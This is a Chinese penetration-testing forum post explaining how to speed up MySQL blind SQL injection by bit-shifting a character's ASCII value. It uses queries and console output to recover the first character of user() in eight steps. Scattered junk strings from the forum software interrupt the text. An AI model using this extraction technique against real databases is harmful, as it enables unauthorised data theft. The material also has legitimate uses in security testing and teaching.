中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
. R. [: I  |- D& b7 H- F
/ Q  d, a4 T1 {5 `5 h7 V% H
- Z: R7 G7 O6 U5 i$ @: b5 \' T; ^' Y* {
下面将以查询mysql数据库当中user()的第一位为例:: n2 D' ^2 y1 V4 @. Y+ i5 V4 ~
2 ]( G$ |8 o* L
* D- I7 A  V2 n3 h* o3 y7 ]

. W9 Z2 Z# o0 Q/ [/ ?ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)3 n3 @9 u4 u4 K4 N6 w

  s* `6 g- t! R" s+ _ ' P( R3 L+ ]' D

. ~! N+ \4 o; z- J1 G- x首先执行如下sql语句:7 C& f# h6 [8 ~4 y
4 K! N* l% A( b; O

+ s. w3 G% j, f$ U' d9 Z5 C4 P
( s. @* F. {3 h. [, L4 Lmysql> select (ascii((substr(user(),1,1))) >> 7)=0;/ N$ \, ^, i2 ]3 a4 P- [2 g+ O6 c4 Z

: L; _* s' K' v
4 V$ ~9 g, Y' c. W0 {+ I
! ?- y, \8 P: e9 O  R: b2 B我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的" Q( G$ P, a1 |" `- i8 f

9 r) ]5 F8 k. }5 o" Z" Z
9 ]6 @: u7 D4 B- q, `- Y
, {: q& z' P4 j4 t第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1! g( ^! P* R$ g- d' ~5 b+ Q

5 U8 x' Y1 c, k# _ - a2 ^- k# P6 Q1 y4 T9 J0 N
$ d4 |2 J& I$ O# L/ m
如果运算结果为1,说明第一位为0,不为19 n8 B& O+ A( B5 f  D* f% P# q7 |
& ~! v. z/ h- e% y7 Z
* A; ~; R, Z! u& H) U; e# N# r) p1 E
6 u6 A* l( Q5 W6 B! [7 F
+————————————–+
# K4 G1 _- N* V9 l
6 W% U+ D$ @) ?/ [2 Z/ g  r4 _| (ascii((substr(user(),1,1))) >> 7)=0 |
4 H( x' f+ W: c3 K5 V. P, O) M3 Y% N: P
+————————————–+0 U: U4 ]3 R2 o& H7 X7 N; ~9 e  ~

. z9 {; i. c* n% ]' _- x2 d| 1 |3 h  O6 }, A: W- f

3 D" H( [( q, Y# m0 X; K, _+————————————–+
& J9 w, N5 L  R' J$ K3 z4 Q
; p* O, G. f9 v# ~  r; N/ j1 row in set (0.00 sec)3 ~: P7 p" q2 \2 `& X% B0 ^, G
3 L9 Z! o5 h3 d! f$ J
这样我们就确定这个8bit的ascii的第一位为05 }: A6 G% C* K0 U; K* Q
2 Z% f0 Y3 o& d# Z6 q6 r# k

7 K* h: F/ M; J) `; t6 `3 E" R
第二次我们来做6次右偏移来确定前两位
2 {" {1 b7 N& [# E5 G0 {5 R$ F4 f$ Z% }8 l1 U

+ k3 h4 X8 a( e  ^
9 M1 ]7 `! f$ r前两位可能是01或00,即依然可以与0做比较,- }- C: {$ B* B8 l/ R0 C( [

" T/ R6 v$ j# F1 pmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
$ F8 ~' g& q" N: y# Z
2 o) p. ?# k- O+————————————–+6 m+ p' x6 Y8 P/ i9 O2 e$ O9 f1 E
3 @0 s, x2 C! q! Q- A) S
| (ascii((substr(user(),1,1))) >> 6)=0 |
* L* Y# M4 Y: X# U2 m8 m6 [3 v+ |* ~, e0 t" n
+————————————–+
* O* x2 Z- m2 ?6 G1 Q
+ K+ m8 o5 c# l) @9 N| 0 |
( P' o/ Y/ U! h- U7 p/ |, A* v* \; C0 ?4 h  h
+————————————–+2 E7 b6 Y3 @# W  f; `

6 ~# A$ ~& `. B+ W) d1 row in set (0.00 sec)1 M& d0 l! d# y' {: p
1 |( [( O, y/ I! y! F% X  c
1 d2 E; s; E. Q4 W& x& b3 u2 `' w

- o& Q+ @" l" b2 \结果为0,即第二位为1; x$ n2 u# a+ k6 O
$ \! A: O4 l( u! F
0 R* [0 _9 K  d

. Y7 Y( b; p# n+ i开始猜测前三位为010或011
- F; q* A/ N. Z! B! {( J" ~3 ]: Q% W
5 q1 m2 L1 [  j! W8 t2 z9 P ( I# s% b. }2 M  r% s/ E3 T. n# n

! o/ r  m9 }9 W让我们看看010和011的ascii码是多少
( Y/ G& r! l9 `- ?2 I* ~% w4 ?* \& Z* \) V/ Y
$ `9 K, }+ x3 q

) O: K/ G  o4 ]/ ^# q# x! s( p0 h分别查询select b’011′ select b’010′- e' f) ~0 S" Z/ Q( `
8 b# W8 Y' C7 ^" u6 ~

. f) E9 ?4 x( b) L7 v
6 V$ f( C9 \# \% I6 F3 K2 b( `; |获得结果 010 = 2 011 = 3  g2 r! ?7 h- N3 E- Q2 F
* Y5 f- @1 Y  o" r% Y

+ a0 `( K6 ?  o; j1 j9 L# r; g( R( ^1 q
执行如下sql:3 Q* ~: V. u- a6 C
0 ?" t1 z9 J" v5 y/ z
" i3 j% Q, s4 E, R8 {
! l# C* t$ F: w$ }8 t
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;+ a7 Q' {6 ?) o- W7 l
9 N" [4 a% k+ j8 _- e* S. f
+————————————–++ f3 g" d( _7 a7 m. Q/ p3 \0 G0 n
" h  H9 Q! P$ y( h. L4 w! Y
| (ascii((substr(user(),1,1))) >> 5)=2 |
1 e1 |/ a( E9 v0 Q! C7 [1 A" a+ ]7 O/ h! C: h; f2 n' I4 f# w8 o
+————————————–+- o7 s- q( `2 E3 [
  R  R' E$ }8 R' A: N* i2 T: I$ v
| 0 |
/ n( G$ H7 [. G" q0 Z; ^* X) P: o' }# R0 w4 q
+————————————–+
% X( g3 w/ B  w0 B; x' i" g% d
+ V5 {1 n7 Q  h$ I, Z# m& A即前三位不为010,而是011  f; O- I6 U- Y6 a( C4 ^0 J
& b( L: ]! d6 G" i% d! P$ p! d$ ?* g1 _

0 H& H3 X% f3 l% N6 O7 u' Z2 `' r7 R7 L" }2 b7 I5 @
直到获得最后一位
9 h; F" _' n  M2 r2 `+ z7 h! i+ @3 I/ T) I$ M" w. L" [. h3 s2 P" Q3 R

- E( g" q+ h" b$ Q* H% r2 q/ L
4 s& A6 f' x% c) v0 ?, q" P最终结果为:011100109 G7 u1 U. F/ ]2 D( k0 a

; N2 s+ \5 N3 l  L( }% J6 Y3 G& ~
* M* I) Q" u5 a2 M, M  U0 T, a  W
转换一下:
0 ?* y1 f* d+ k  i3 S
  m, ]: v- d* k
" p" ]9 A) {( O$ F8 _9 V+ z0 I' B6 n: c, B9 v+ e. G- g& \$ O
select b’01110010′. |- S( o4 J* `, }( `! [

: _1 g0 z6 W# |* _2 {
) A- P4 ^2 A2 z1 O+ }" v6 s7 e, v* B8 Q3 O
查询结果2 c4 G, @) c+ }4 Q8 S6 H' J
; J) {0 ~  E! Z! A

4 C1 y1 D4 w  I, f$ h! z
$ v8 A6 l% Z  b% v  s/ Y; z+————-+
5 S$ h( h) T: j! [# a4 @
+ w! D+ Z$ I/ q| b’01110010′ |
9 L+ y$ P: L! o7 `
+ w+ M2 {9 x9 `! e+————-+
# z' n) ?5 h8 Y3 f
8 K; N+ v6 h' q2 r( q| r |! h! J$ p0 F! X: u( P
8 C9 i2 `2 m) d' P7 \7 I
+————-+/ C! B) s! }) h/ j: u9 v

- P6 H9 J1 M$ l& @1 row in set (0.00 sec)
3 K% F# i! R* C2 V
- m  ~$ ]2 L. I+ B9 K   o$ J, O2 d& k' c
. h! R/ P: g4 a( u5 D0 o
这样我们就获得了user()的第一位.其它位依此类推- H! t5 p8 {! i9 u( J" T
2 @9 P' |: I/ _) p( t; C& g





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2